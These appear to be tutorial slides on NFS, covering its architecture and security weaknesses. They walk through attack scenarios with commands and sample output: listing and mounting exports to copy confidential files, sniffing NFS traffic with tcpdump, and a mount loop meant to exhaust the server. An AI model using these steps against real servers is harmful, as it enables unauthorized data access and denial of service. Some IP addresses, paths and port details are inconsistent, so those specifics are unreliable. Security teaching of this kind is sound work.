

# NFS

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# Introduction to NFS

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- NFS (Network File System) allows users to access files over a network as if they were on local storage.
- Developed by Sun Microsystems in 1984

# NFS Architecture

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- **Client:** Requests files from the server.
- **Server:** Hosts the file system, making it accessible to clients.
- **Network:** Facilitates communication between clients and servers.

# How NFS Works

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## NFS Operation:

- Uses Remote Procedure Calls (RPC) to manage file requests.
- Files are accessed via file handles.

## Protocols Used:

- Typically runs over TCP/IP or UDP.111 or 2049

# NFS Security Concerns

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- Lack of encryption in older versions.
- Vulnerable to IP spoofing and replay attacks.
- Misconfigured access permissions can expose sensitive data.
- Unauthorized Access
- Data Interception
- Denial of Service (DoS)

# Scenario 1 - Unauthorized Access



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- The first senario is to mount senstive data from server as I can copy the data to my local pc
- We need to know first what are the data disks ins

```
showmount -e 10.129.14.128
```

```
Export list for 10.129.14.128:
```

```
/nfs_share          10.10.10.1
```

```
/home/shared        *
```

## Scenario 1 - Unauthorized Access



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- The second thing that we need to download all of these data inside our local pc

```
mount -t nfs 10.10.10.1:/nfs_share /home/kali/
```

```
mount -t nfs -o vers=3 10.10.10.1:/nfs_share /home/kali/
```

```
$ ls /mnt/nfs
```

```
file1.txt
```

```
file2.docx
```

```
confidential_data.xls
```

## Scenario 2 - Data Interception

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- An attacker intercepts data between the NFS client and server.

```
sudo tcpdump -i eth0 port 2049
```

- We will capture all the requests between the server and client rpc

# Denial of Service (DoS)

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- This would make many requests to the server

```
for i in {1..100}; do mount -o nolock 10.10.10.1:/nfs_share /mnt/nfs_$i; done
```

```
mount: mount to NFS server failed: Connection timed out
```

```
Server logs: "Too many open connections", "Connection timed out"
```

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